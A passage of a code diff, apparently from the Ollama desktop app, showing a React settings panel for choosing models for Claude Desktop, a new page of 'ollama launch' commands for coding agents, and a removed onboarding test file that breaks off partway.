|
||||
if (!initialStatus) void refreshStatus();
|
||||
const handleFocus = () => void refreshStatus();
|
||||
window.addEventListener("focus", handleFocus);
|
||||
return () => window.removeEventListener("focus", handleFocus);
|
||||
}, [initialStatus, refreshStatus]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!status) return;
|
||||
setModels(visibleModels(status));
|
||||
setSelection(selectedModelNames(status));
|
||||
}, [status]);
|
||||
|
||||
useEffect(() => {
|
||||
if (initialLocalModels || !status?.used) return;
|
||||
let cancelled = false;
|
||||
setModelsLoading(true);
|
||||
void getClaudeDesktopAvailableModels()
|
||||
.then((installed) => {
|
||||
if (!cancelled) {
|
||||
setLocalModels(installed.map((model) => model.model));
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) setError("Ollama could not load your models.");
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setModelsLoading(false);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [initialLocalModels, status?.used]);
|
||||
|
||||
useEffect(() => {
|
||||
const handleClickOutside = (event: MouseEvent) => {
|
||||
if (
|
||||
pickerRef.current &&
|
||||
!pickerRef.current.contains(event.target as Node)
|
||||
) {
|
||||
setPickerOpen(false);
|
||||
}
|
||||
};
|
||||
document.addEventListener("mousedown", handleClickOutside);
|
||||
return () => document.removeEventListener("mousedown", handleClickOutside);
|
||||
}, []);
|
||||
|
||||
const matchingLocalModels = useMemo(() => {
|
||||
const current = new Set(
|
||||
models.map((model) =>
|
||||
model.cloud ? explicitCloudName(model.name) : model.name,
|
||||
),
|
||||
);
|
||||
const query = searchQuery.trim().toLowerCase();
|
||||
return localModels
|
||||
.filter(
|
||||
(name) =>
|
||||
!current.has(name) &&
|
||||
!isInvalidModelName(name) &&
|
||||
(!query || name.toLowerCase().includes(query)),
|
||||
)
|
||||
.sort((left, right) => left.localeCompare(right));
|
||||
}, [localModels, models, searchQuery]);
|
||||
|
||||
const toggleModel = (name: string) => {
|
||||
setError(null);
|
||||
setSelection((current) => {
|
||||
if (!current.includes(name)) {
|
||||
const result = addClaudeModelSelection(
|
||||
current,
|
||||
name,
|
||||
claudeDesktopMaxModels(status),
|
||||
);
|
||||
if (result.error) {
|
||||
setError(result.error);
|
||||
return current;
|
||||
}
|
||||
return result.selection;
|
||||
}
|
||||
if (current.length === 1) {
|
||||
setError("Select at least one model for Claude.");
|
||||
return current;
|
||||
}
|
||||
return current.filter((model) => model !== name);
|
||||
});
|
||||
};
|
||||
|
||||
const addLocalModel = (name: string) => {
|
||||
const maxModels = claudeDesktopMaxModels(status);
|
||||
const result = addClaudeModelSelection(selection, name, maxModels);
|
||||
if (result.error) {
|
||||
setError(result.error);
|
||||
return;
|
||||
}
|
||||
const cloud = name.endsWith(":cloud");
|
||||
setModels((current) => [
|
||||
...current,
|
||||
{
|
||||
name,
|
||||
displayName: name,
|
||||
cloud,
|
||||
selected: true,
|
||||
availability: "available",
|
||||
},
|
||||
]);
|
||||
setSelection(result.selection);
|
||||
setSearchQuery("");
|
||||
setPickerOpen(false);
|
||||
setError(null);
|
||||
};
|
||||
|
||||
const hasAvailableSelection = selection.some((name) => {
|
||||
const model = models.find((candidate) => candidate.name === name);
|
||||
return !model?.availability || model.availability === "available";
|
||||
});
|
||||
|
||||
const restartClaude = async () => {
|
||||
if (!window.restartClaudeDesktop) {
|
||||
setError("Claude restart is available in the Ollama macOS app.");
|
||||
return;
|
||||
}
|
||||
if (selection.length === 0) {
|
||||
setError("Select at least one model for Claude.");
|
||||
return;
|
||||
}
|
||||
if (!hasAvailableSelection) {
|
||||
setError("Select a model available to your account.");
|
||||
return;
|
||||
}
|
||||
if (
|
||||
status?.running &&
|
||||
!window.confirm(
|
||||
"Restart Claude Desktop to update its models? Any running task will stop.",
|
||||
)
|
||||
) {
|
||||
return;
|
||||
}
|
||||
|
||||
setError(null);
|
||||
setRestarting(true);
|
||||
try {
|
||||
const result = await window.restartClaudeDesktop(selection);
|
||||
applyStatus(result.status);
|
||||
if (result.error) setError(result.error);
|
||||
} catch {
|
||||
setError("Ollama could not restart Claude.");
|
||||
} finally {
|
||||
setRestarting(false);
|
||||
}
|
||||
};
|
||||
|
||||
if (!status?.supported || !status.used) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const maxModels = claudeDesktopMaxModels(status);
|
||||
const selectionFull = selection.length >= maxModels;
|
||||
const guidance =
|
||||
claudeDesktopRecoveryMessage(status.error, error) ??
|
||||
(!hasAvailableSelection && models.length > 0
|
||||
? "Select a model available to your account."
|
||||
: selectionFull
|
||||
? claudeDesktopMaxModelsMessage(maxModels)
|
||||
: status.connected
|
||||
? "Restart Claude to refresh its model list."
|
||||
: "These models will be available when Claude starts.");
|
||||
|
||||
return (
|
||||
<section aria-labelledby="apps-settings-heading" className="space-y-2">
|
||||
<h2
|
||||
id="apps-settings-heading"
|
||||
className="px-1 text-xs font-medium uppercase tracking-wider text-neutral-400 dark:text-neutral-500"
|
||||
>
|
||||
Apps
|
||||
</h2>
|
||||
<div
|
||||
aria-labelledby="claude-models-settings-heading"
|
||||
className="overflow-visible rounded-xl bg-white p-4 dark:bg-neutral-800"
|
||||
>
|
||||
<div className="flex items-start space-x-3">
|
||||
<img
|
||||
src="/launch-icons/claude.svg"
|
||||
alt=""
|
||||
className="mt-0.5 h-5 w-5 flex-shrink-0"
|
||||
/>
|
||||
<div className="min-w-0 flex-1">
|
||||
<div className="flex items-center justify-between gap-3">
|
||||
<h2
|
||||
id="claude-models-settings-heading"
|
||||
className="text-sm font-medium text-neutral-900 dark:text-white"
|
||||
>
|
||||
Claude
|
||||
</h2>
|
||||
{status.modelSource === "fallback" && models.length > 0 && (
|
||||
<span className="text-xs text-neutral-400">
|
||||
Built-in defaults
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="mt-3 grid grid-cols-2 gap-x-5 gap-y-2 max-[850px]:grid-cols-1">
|
||||
{models.map((model) => {
|
||||
const selected = selection.includes(model.name);
|
||||
const accessLabel = modelAccessLabel(model);
|
||||
const unavailable =
|
||||
model.availability !== undefined &&
|
||||
model.availability !== "available";
|
||||
return (
|
||||
<label
|
||||
key={model.name}
|
||||
className="flex min-w-0 cursor-pointer items-center gap-2 rounded-md py-1 text-sm text-neutral-600 dark:text-neutral-300"
|
||||
title={accessLabel ?? model.description}
|
||||
>
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={selected}
|
||||
disabled={
|
||||
restarting ||
|
||||
(!selected && (selectionFull || unavailable))
|
||||
}
|
||||
onChange={() => toggleModel(model.name)}
|
||||
className="h-4 w-4 rounded border-neutral-300 accent-neutral-900 dark:border-neutral-600 dark:accent-white"
|
||||
/>
|
||||
<span className="truncate">{model.displayName}</span>
|
||||
{accessLabel && (
|
||||
<span className="flex-shrink-0 text-xs text-neutral-400">
|
||||
{accessLabel}
|
||||
</span>
|
||||
)}
|
||||
</label>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
|
||||
<div ref={pickerRef} className="relative mt-3">
|
||||
<Input
|
||||
type="search"
|
||||
value={searchQuery}
|
||||
onFocus={() => setPickerOpen(true)}
|
||||
onChange={(event) => {
|
||||
setSearchQuery(event.target.value);
|
||||
setPickerOpen(true);
|
||||
}}
|
||||
placeholder="Search Ollama models"
|
||||
aria-label="Search Ollama models"
|
||||
aria-expanded={pickerOpen}
|
||||
aria-controls="claude-local-models"
|
||||
disabled={restarting}
|
||||
autoComplete="off"
|
||||
/>
|
||||
{pickerOpen && (
|
||||
<div
|
||||
id="claude-local-models"
|
||||
className="absolute z-20 mt-1 max-h-52 w-full overflow-y-auto rounded-lg border border-neutral-200 bg-white p-1 shadow-lg dark:border-neutral-600 dark:bg-neutral-800"
|
||||
>
|
||||
{modelsLoading ? (
|
||||
<p className="px-3 py-2 text-sm text-neutral-400">
|
||||
Loading models…
|
||||
</p>
|
||||
) : selectionFull ? (
|
||||
<p className="px-3 py-2 text-sm text-neutral-400">
|
||||
{claudeDesktopMaxModelsMessage(maxModels)}
|
||||
</p>
|
||||
) : matchingLocalModels.length > 0 ? (
|
||||
matchingLocalModels.map((name) => (
|
||||
<button
|
||||
key={name}
|
||||
type="button"
|
||||
onClick={() => addLocalModel(name)}
|
||||
className="block w-full rounded-md px-3 py-2 text-left text-sm text-neutral-700 hover:bg-neutral-100 dark:text-neutral-200 dark:hover:bg-neutral-700"
|
||||
>
|
||||
{name}
|
||||
</button>
|
||||
))
|
||||
) : (
|
||||
<p className="px-3 py-2 text-sm text-neutral-400">
|
||||
No models found.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="mt-3 flex items-center justify-between gap-4 max-sm:flex-col max-sm:items-stretch">
|
||||
<p
|
||||
role={error || status.error ? "alert" : undefined}
|
||||
className="text-xs leading-5 text-neutral-500 dark:text-neutral-400"
|
||||
>
|
||||
{guidance}
|
||||
</p>
|
||||
<Button
|
||||
type="button"
|
||||
color="white"
|
||||
onClick={restartClaude}
|
||||
disabled={
|
||||
restarting || selection.length === 0 || !hasAvailableSelection
|
||||
}
|
||||
className="flex-shrink-0 max-sm:w-full"
|
||||
>
|
||||
{restarting && (
|
||||
<ArrowPathIcon data-slot="icon" className="animate-spin" />
|
||||
)}
|
||||
{restarting
|
||||
? status.connected
|
||||
? "Restarting…"
|
||||
: "Starting…"
|
||||
: status.connected
|
||||
? "Restart Claude"
|
||||
: "Start Claude"}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -68,7 +68,7 @@ const CopyButton: React.FC<CopyButtonProps> = ({
|
||||
const iconSize = size === "sm" ? "h-3 w-3" : "h-7 w-7";
|
||||
const baseClasses =
|
||||
size === "sm"
|
||||
? `text-xs px-4 py-2 z-10 cursor-pointer rounded-lg ${className}`
|
||||
? `text-xs px-4 py-2 z-10 rounded-lg hover:cursor-pointer ${className}`
|
||||
: `${iconSize} px-1 py-0.5 text-xs cursor-pointer rounded-lg hover:bg-neutral-100 dark:hover:bg-neutral-800 flex items-center justify-center ${className}`;
|
||||
|
||||
const icon = isCopied ? (
|
||||
|
||||
@@ -0,0 +1,150 @@
|
||||
import { useSettings } from "@/hooks/useSettings";
|
||||
import CopyButton from "@/components/CopyButton";
|
||||
|
||||
interface LaunchCommand {
|
||||
id: string;
|
||||
name: string;
|
||||
command: string;
|
||||
description: string;
|
||||
icon: string;
|
||||
darkIcon?: string;
|
||||
iconClassName?: string;
|
||||
borderless?: boolean;
|
||||
}
|
||||
|
||||
const LAUNCH_COMMANDS: LaunchCommand[] = [
|
||||
{
|
||||
id: "claude",
|
||||
name: "Claude Code",
|
||||
command: "ollama launch claude",
|
||||
description: "Anthropic's coding tool with subagents",
|
||||
icon: "/launch-icons/claude-code.svg",
|
||||
iconClassName: "h-7 w-7",
|
||||
},
|
||||
{
|
||||
id: "openclaw",
|
||||
name: "OpenClaw",
|
||||
command: "ollama launch openclaw",
|
||||
description: "Personal AI with 100+ skills",
|
||||
icon: "/launch-icons/openclaw.svg",
|
||||
},
|
||||
{
|
||||
id: "hermes",
|
||||
name: "Hermes Agent",
|
||||
command: "ollama launch hermes",
|
||||
description: "Self-improving AI agent built by Nous Research",
|
||||
icon: "/launch-icons/hermes-agent.svg",
|
||||
iconClassName: "h-7 w-7",
|
||||
},
|
||||
{
|
||||
id: "opencode",
|
||||
name: "OpenCode",
|
||||
command: "ollama launch opencode",
|
||||
description: "Anomaly's open-source coding agent",
|
||||
icon: "/launch-icons/opencode.svg",
|
||||
iconClassName: "h-7 w-7 rounded",
|
||||
},
|
||||
{
|
||||
id: "codex",
|
||||
name: "Codex",
|
||||
command: "ollama launch codex",
|
||||
description: "OpenAI's open-source coding agent",
|
||||
icon: "/launch-icons/codex.svg",
|
||||
darkIcon: "/launch-icons/codex-dark.svg",
|
||||
iconClassName: "h-7 w-7",
|
||||
},
|
||||
{
|
||||
id: "copilot",
|
||||
name: "Copilot CLI",
|
||||
command: "ollama launch copilot",
|
||||
description: "GitHub's AI coding agent for the terminal",
|
||||
icon: "/launch-icons/copilot.svg",
|
||||
darkIcon: "/launch-icons/copilot-dark.svg",
|
||||
iconClassName: "h-7 w-7",
|
||||
},
|
||||
{
|
||||
id: "droid",
|
||||
name: "Droid",
|
||||
command: "ollama launch droid",
|
||||
description: "Factory's coding agent across terminal and IDEs",
|
||||
icon: "/launch-icons/droid.svg",
|
||||
},
|
||||
{
|
||||
id: "pi",
|
||||
name: "Pi",
|
||||
command: "ollama launch pi",
|
||||
description: "Minimal AI agent toolkit with plugin support",
|
||||
icon: "/launch-icons/pi.svg",
|
||||
darkIcon: "/launch-icons/pi-dark.svg",
|
||||
iconClassName: "h-7 w-7",
|
||||
},
|
||||
];
|
||||
|
||||
export default function LaunchCommands() {
|
||||
const isWindows = navigator.platform.toLowerCase().includes("win");
|
||||
const { setSettings } = useSettings();
|
||||
|
||||
const renderCommandCard = (item: LaunchCommand) => (
|
||||
<div key={item.command} className="w-full text-left">
|
||||
<div className="flex items-start gap-4 sm:gap-5">
|
||||
<div
|
||||
aria-hidden="true"
|
||||
className={`flex h-10 w-10 shrink-0 items-center justify-center rounded-lg overflow-hidden ${item.borderless ? "" : "border border-neutral-200 bg-white dark:border-neutral-700 dark:bg-neutral-900"}`}
|
||||
>
|
||||
{item.darkIcon ? (
|
||||
<picture>
|
||||
<source srcSet={item.darkIcon} media="(prefers-color-scheme: dark)" />
|
||||
<img src={item.icon} alt="" className={`${item.iconClassName ?? "h-8 w-8"} rounded-sm`} />
|
||||
</picture>
|
||||
) : (
|
||||
<img src={item.icon} alt="" className={item.borderless ? "h-full w-full rounded-xl" : `${item.iconClassName ?? "h-8 w-8"} rounded-sm`} />
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="min-w-0 flex-1">
|
||||
<span className="text-sm font-medium text-neutral-900 dark:text-neutral-100">
|
||||
{item.name}
|
||||
</span>
|
||||
<p className="mt-0.5 text-xs text-neutral-500 dark:text-neutral-400">
|
||||
{item.description}
|
||||
</p>
|
||||
<div className="mt-2 flex items-center gap-2 rounded-xl border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800 px-3 py-2">
|
||||
<code className="min-w-0 flex-1 truncate text-xs text-neutral-600 dark:text-neutral-300">
|
||||
{item.command}
|
||||
</code>
|
||||
<CopyButton
|
||||
content={item.command}
|
||||
size="md"
|
||||
title="Copy command to clipboard"
|
||||
className="text-neutral-500 dark:text-neutral-400 hover:text-neutral-700 dark:hover:text-neutral-200 hover:bg-neutral-200/60 dark:hover:bg-neutral-700/70"
|
||||
onCopy={() => {
|
||||
setSettings({ LastHomeView: item.id }).catch(() => { });
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
return (
|
||||
<main className="flex h-screen w-full flex-col relative">
|
||||
<section
|
||||
className={`flex-1 overflow-y-auto overscroll-contain relative min-h-0 ${isWindows ? "xl:pt-4" : "xl:pt-8"}`}
|
||||
>
|
||||
<div className="max-w-[730px] mx-auto w-full px-4 pt-4 pb-20 sm:px-6 sm:pt-6 sm:pb-24 lg:px-8 lg:pt-8 lg:pb-28">
|
||||
<h1 className="text-xl font-semibold text-neutral-900 dark:text-neutral-100">
|
||||
Launch
|
||||
</h1>
|
||||
<p className="mt-1 text-sm text-neutral-500 dark:text-neutral-400">
|
||||
Copy a command and run it in your terminal.
|
||||
</p>
|
||||
|
||||
<div className="mt-6 grid gap-7">
|
||||
{LAUNCH_COMMANDS.map(renderCommandCard)}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
);
|
||||
}
|
||||
@@ -1,597 +0,0 @@
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
FIRST_MODEL_COMMAND,
|
||||
ConnectAppsScreen,
|
||||
IntroScreen,
|
||||
default as Onboarding,
|
||||
RunOllamaScreen,
|
||||
terminalRowsForWindowHeight,
|
||||
WelcomeScreen,
|
||||
} from "./Onboarding";
|
||||
import {
|
||||
CLAUDE_INSTALL_TIMEOUT_MS,
|
||||
isClaudeConnectionComplete,
|
||||
scheduleClaudeInstallTimeout,
|
||||
} from "@/lib/claudeDesktop";
|
||||
import { isWindowsPlatform } from "@/lib/platform";
|
||||
import {
|
||||
authenticationTimeoutAction,
|
||||
nextOnboardingStep,
|
||||
onboardingConnectUrl,
|
||||
} from "@/lib/onboarding";
|
||||
import type { IntegrationStatuses } from "@/api";
|
||||
|
||||
describe("Onboarding", () => {
|
||||
it("explains what Ollama is before asking the user to choose a path", () => {
|
||||
const html = renderToStaticMarkup(<IntroScreen onContinue={vi.fn()} />);
|
||||
|
||||
expect(html).toContain("Welcome to Ollama!");
|
||||
expect(html.indexOf('alt="Ollama waving"')).toBeLessThan(
|
||||
html.indexOf("Welcome to Ollama!"),
|
||||
);
|
||||
expect(html).toContain(
|
||||
"Run open models with your coding agents so you can spend less while keeping your data private.",
|
||||
);
|
||||
expect(html.indexOf("Connect your apps")).toBeLessThan(
|
||||
html.indexOf("Easily switch models"),
|
||||
);
|
||||
expect(html.indexOf("Easily switch models")).toBeLessThan(
|
||||
html.indexOf("Your data stays yours"),
|
||||
);
|
||||
expect(html).toContain("Power your existing coding apps with open models");
|
||||
expect(html).toContain("Swap between frontier models in one click.");
|
||||
expect(html).toContain("Your prompt data is never logged or trained on.");
|
||||
expect(html).toContain("Continue");
|
||||
expect(html).not.toContain("Skip");
|
||||
});
|
||||
|
||||
it("shows more terminal integrations as the window gets taller", () => {
|
||||
expect(terminalRowsForWindowHeight(400)).toBe(1);
|
||||
expect(terminalRowsForWindowHeight(660)).toBe(4);
|
||||
expect(terminalRowsForWindowHeight(960)).toBe(8);
|
||||
});
|
||||
|
||||
it("renders the apps screen without browser platform globals", () => {
|
||||
vi.stubGlobal("navigator", undefined);
|
||||
try {
|
||||
expect(() =>
|
||||
renderToStaticMarkup(<ConnectAppsScreen initialIntegrations={[]} />),
|
||||
).not.toThrow();
|
||||
} finally {
|
||||
vi.unstubAllGlobals();
|
||||
}
|
||||
});
|
||||
|
||||
it("hides the Claude application on Windows", () => {
|
||||
vi.stubGlobal("window", {
|
||||
OLLAMA_PLATFORM: "windows",
|
||||
innerHeight: 660,
|
||||
});
|
||||
vi.stubGlobal("navigator", { platform: "MacIntel" });
|
||||
try {
|
||||
expect(isWindowsPlatform()).toBe(true);
|
||||
const html = renderToStaticMarkup(
|
||||
<ConnectAppsScreen
|
||||
initialIntegrations={[
|
||||
{
|
||||
id: "claude-desktop",
|
||||
name: "Claude",
|
||||
description: "Use Ollama models in Claude Desktop",
|
||||
installed: true,
|
||||
},
|
||||
{
|
||||
id: "claude",
|
||||
name: "Claude Code",
|
||||
description: "Anthropic's coding tool with subagents",
|
||||
command: "ollama launch claude",
|
||||
},
|
||||
]}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).not.toContain('id="applications-heading"');
|
||||
expect(html).not.toContain("Use Ollama models in Claude Desktop");
|
||||
expect(html).toContain('id="terminal-heading"');
|
||||
expect(html).toContain("ollama launch claude");
|
||||
} finally {
|
||||
vi.unstubAllGlobals();
|
||||
}
|
||||
});
|
||||
|
||||
it("shows the account choice only to signed-out users", () => {
|
||||
expect(nextOnboardingStep("intro", "continue", false)).toBe("welcome");
|
||||
expect(nextOnboardingStep("intro", "continue", true)).toBe("apps");
|
||||
expect(nextOnboardingStep("welcome", "authenticated", true)).toBe("apps");
|
||||
expect(nextOnboardingStep("apps", "continue", true)).toBe("apps");
|
||||
expect(nextOnboardingStep("welcome", "local", false)).toBe("run");
|
||||
});
|
||||
|
||||
it("lets an in-flight authentication check finish before timing out", () => {
|
||||
expect(authenticationTimeoutAction(false, true)).toBe("defer");
|
||||
expect(authenticationTimeoutAction(false, false)).toBe("fail");
|
||||
expect(authenticationTimeoutAction(true, true)).toBe("ignore");
|
||||
});
|
||||
|
||||
it("finishes Claude connection states from the native status hook", () => {
|
||||
const status = {
|
||||
supported: true,
|
||||
installed: true,
|
||||
configured: true,
|
||||
connected: true,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
};
|
||||
|
||||
expect(isClaudeConnectionComplete(true, status)).toBe(true);
|
||||
expect(
|
||||
isClaudeConnectionComplete(true, { ...status, connected: false }),
|
||||
).toBe(false);
|
||||
expect(
|
||||
isClaudeConnectionComplete(true, { ...status, startFailed: true }),
|
||||
).toBe(false);
|
||||
expect(
|
||||
isClaudeConnectionComplete(false, {
|
||||
...status,
|
||||
configured: false,
|
||||
connected: false,
|
||||
}),
|
||||
).toBe(true);
|
||||
expect(
|
||||
isClaudeConnectionComplete(false, { ...status, connected: false }),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it("bounds the Claude installer wait", () => {
|
||||
vi.useFakeTimers();
|
||||
vi.stubGlobal("window", { setTimeout: globalThis.setTimeout });
|
||||
const onTimeout = vi.fn();
|
||||
|
||||
try {
|
||||
scheduleClaudeInstallTimeout(onTimeout);
|
||||
vi.advanceTimersByTime(CLAUDE_INSTALL_TIMEOUT_MS - 1);
|
||||
expect(onTimeout).not.toHaveBeenCalled();
|
||||
vi.advanceTimersByTime(1);
|
||||
expect(onTimeout).toHaveBeenCalledOnce();
|
||||
} finally {
|
||||
vi.useRealTimers();
|
||||
vi.unstubAllGlobals();
|
||||
}
|
||||
});
|
||||
|
||||
it("opens the device connection flow without relaunching the app", () => {
|
||||
expect(
|
||||
onboardingConnectUrl(
|
||||
"https://ollama.com/connect?name=MacBook&key=public-key&launch=true",
|
||||
"signin",
|
||||
),
|
||||
).toBe("https://ollama.com/connect?name=MacBook&key=public-key");
|
||||
expect(
|
||||
onboardingConnectUrl(
|
||||
"https://ollama.com/connect?name=MacBook&key=public-key",
|
||||
"signup",
|
||||
),
|
||||
).toBe(
|
||||
"https://ollama.com/connect?name=MacBook&key=public-key&signup=true",
|
||||
);
|
||||
});
|
||||
|
||||
it("preserves the intro for a device that is already connected", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<Onboarding
|
||||
isAuthenticated
|
||||
isSigningIn={false}
|
||||
signInError={null}
|
||||
completionError={null}
|
||||
onOpenApps={vi.fn().mockResolvedValue(true)}
|
||||
onSignIn={vi.fn()}
|
||||
onSignUp={vi.fn()}
|
||||
onRetryCompletion={vi.fn()}
|
||||
onUseLocal={vi.fn()}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain("Welcome to Ollama");
|
||||
expect(html).not.toContain("Run Ollama");
|
||||
expect(html).not.toContain("Sign up");
|
||||
});
|
||||
|
||||
it("groups disconnected Claude with applications and terminal separately", () => {
|
||||
const integrations: IntegrationStatuses = [
|
||||
{
|
||||
id: "claude-desktop",
|
||||
name: "Claude",
|
||||
description: "Use Ollama models in Claude Desktop",
|
||||
installed: true,
|
||||
action: "connect",
|
||||
},
|
||||
{
|
||||
id: "claude",
|
||||
name: "Claude Code",
|
||||
description: "Anthropic's coding tool with subagents",
|
||||
installed: true,
|
||||
action: "copy",
|
||||
command: "ollama launch claude",
|
||||
},
|
||||
{
|
||||
id: "codex",
|
||||
name: "Codex",
|
||||
description: "OpenAI's open-source coding agent",
|
||||
installed: true,
|
||||
action: "copy",
|
||||
command: "ollama launch codex",
|
||||
},
|
||||
{
|
||||
id: "openclaw",
|
||||
name: "OpenClaw",
|
||||
description: "Personal AI with 100+ skills",
|
||||
installed: true,
|
||||
action: "copy",
|
||||
command: "ollama launch openclaw",
|
||||
},
|
||||
{
|
||||
id: "opencode",
|
||||
name: "OpenCode",
|
||||
description: "Anomaly's open-source coding agent",
|
||||
installed: false,
|
||||
action: "copy",
|
||||
command: "ollama launch opencode",
|
||||
},
|
||||
{
|
||||
id: "droid",
|
||||
name: "Droid",
|
||||
description: "AI software engineering agent",
|
||||
installed: false,
|
||||
action: "copy",
|
||||
command: "ollama launch droid",
|
||||
},
|
||||
{
|
||||
id: "terminal",
|
||||
name: "Terminal",
|
||||
description: "Run local models from your terminal",
|
||||
action: "copy",
|
||||
command: "ollama",
|
||||
},
|
||||
];
|
||||
const html = renderToStaticMarkup(
|
||||
<ConnectAppsScreen
|
||||
completionError={null}
|
||||
onRetryCompletion={vi.fn()}
|
||||
initialIntegrations={integrations}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).not.toContain(
|
||||
"Connect Claude, or copy a command to run in your terminal.",
|
||||
);
|
||||
expect(html).toContain("Claude");
|
||||
expect(html).toContain("Use Ollama models in Claude Desktop");
|
||||
expect(html).toContain("Claude Code");
|
||||
expect(html).not.toContain("Search apps");
|
||||
expect(html).not.toContain('type="search"');
|
||||
expect(html).toContain("Application");
|
||||
expect(html).toContain('id="applications-heading"');
|
||||
expect(html).toContain('id="terminal-heading"');
|
||||
expect(html).not.toContain("Ready to launch");
|
||||
expect(html).not.toContain('id="claude-apps-heading"');
|
||||
expect(html.indexOf("Application")).toBeLessThan(
|
||||
html.indexOf("Use Ollama models in Claude Desktop"),
|
||||
);
|
||||
expect(html).not.toContain(">Command</th>");
|
||||
expect(html).toContain("ollama launch claude");
|
||||
expect(html).not.toContain("Installed");
|
||||
expect(html).not.toContain("Not installed");
|
||||
expect(html).toContain('aria-label="Connect Claude"');
|
||||
expect(html).toContain('role="switch"');
|
||||
expect(html).toContain('aria-checked="false"');
|
||||
expect(html).not.toContain("Inactive");
|
||||
expect(html).not.toContain("Download & connect");
|
||||
expect(html).not.toContain("Active");
|
||||
expect(html).toContain("bg-transparent");
|
||||
expect(html).toContain('aria-label="Copy OpenCode command"');
|
||||
expect(html).toContain('aria-label="Copy Terminal command"');
|
||||
expect(html).not.toContain(">Copy command</button>");
|
||||
expect(html).not.toContain("ChatGPT");
|
||||
expect(html).toContain("OpenCode");
|
||||
expect(html).toContain("Terminal");
|
||||
expect(html).toContain('aria-label="Show more apps"');
|
||||
expect(html).toContain('aria-expanded="false"');
|
||||
expect(html).toContain("grid-rows-[0fr]");
|
||||
expect(html).not.toContain("Collapse");
|
||||
expect(html).toContain("/launch-icons/claude.svg");
|
||||
expect(html).toContain("/launch-icons/claude-code.svg");
|
||||
expect(html).not.toContain("<table");
|
||||
expect(html).not.toContain("<footer");
|
||||
expect(html).not.toContain("Command copied. Run it in your terminal.");
|
||||
expect(html).toContain("Run local models from your terminal");
|
||||
expect(html).not.toContain("Launch command");
|
||||
expect(html).not.toContain('aria-pressed="true"');
|
||||
expect(html).not.toContain("Continue");
|
||||
expect(html).not.toContain("Run Ollama");
|
||||
expect(html).not.toContain('viewBox="0 0 3400 3400"');
|
||||
});
|
||||
|
||||
it("keeps connected Claude in Application without an idle status", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ConnectAppsScreen
|
||||
completionError={null}
|
||||
onRetryCompletion={vi.fn()}
|
||||
initialClaudeStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: true,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
}}
|
||||
initialIntegrations={[
|
||||
{
|
||||
id: "claude-desktop",
|
||||
name: "Claude",
|
||||
description: "Use Ollama models in Claude Desktop",
|
||||
installed: true,
|
||||
action: "connect",
|
||||
},
|
||||
{
|
||||
id: "codex",
|
||||
name: "Codex",
|
||||
description: "OpenAI's open-source coding agent",
|
||||
installed: true,
|
||||
action: "copy",
|
||||
command: "ollama launch codex",
|
||||
},
|
||||
]}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain('id="applications-heading"');
|
||||
expect(html).not.toContain('id="claude-apps-heading"');
|
||||
expect(html).not.toContain("Ready to launch");
|
||||
expect(html).not.toContain("Active");
|
||||
expect(html).not.toContain("Inactive");
|
||||
expect(html).toContain('aria-checked="true"');
|
||||
expect(html).toContain('aria-label="Disconnect Claude"');
|
||||
});
|
||||
|
||||
it("shows initial Claude recovery guidance without error styling", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ConnectAppsScreen
|
||||
completionError={null}
|
||||
onRetryCompletion={vi.fn()}
|
||||
initialClaudeStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
configured: true,
|
||||
connected: false,
|
||||
running: false,
|
||||
startFailed: true,
|
||||
portConflict: false,
|
||||
error: "Cloud models are off. Select an installed model in Settings.",
|
||||
}}
|
||||
initialIntegrations={[
|
||||
{
|
||||
id: "claude-desktop",
|
||||
name: "Claude",
|
||||
description: "Use Ollama models in Claude Desktop",
|
||||
installed: true,
|
||||
action: "connect",
|
||||
},
|
||||
]}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain(
|
||||
"Cloud models are off. Select an installed model in Settings.",
|
||||
);
|
||||
expect(html).toContain('role="alert"');
|
||||
expect(html).not.toContain("text-red");
|
||||
expect(html).toContain('aria-checked="true"');
|
||||
expect(html).toContain('aria-label="Disconnect Claude"');
|
||||
});
|
||||
|
||||
it("keeps Claude model management off the Connect Apps page", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ConnectAppsScreen
|
||||
completionError={null}
|
||||
onRetryCompletion={vi.fn()}
|
||||
initialClaudeStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: true,
|
||||
running: true,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
modelSource: "endpoint",
|
||||
models: [
|
||||
{
|
||||
name: "glm-5.2:cloud",
|
||||
displayName: "GLM 5.2",
|
||||
description: "Long-horizon coding",
|
||||
selected: true,
|
||||
},
|
||||
{
|
||||
name: "qwen3.8:27b",
|
||||
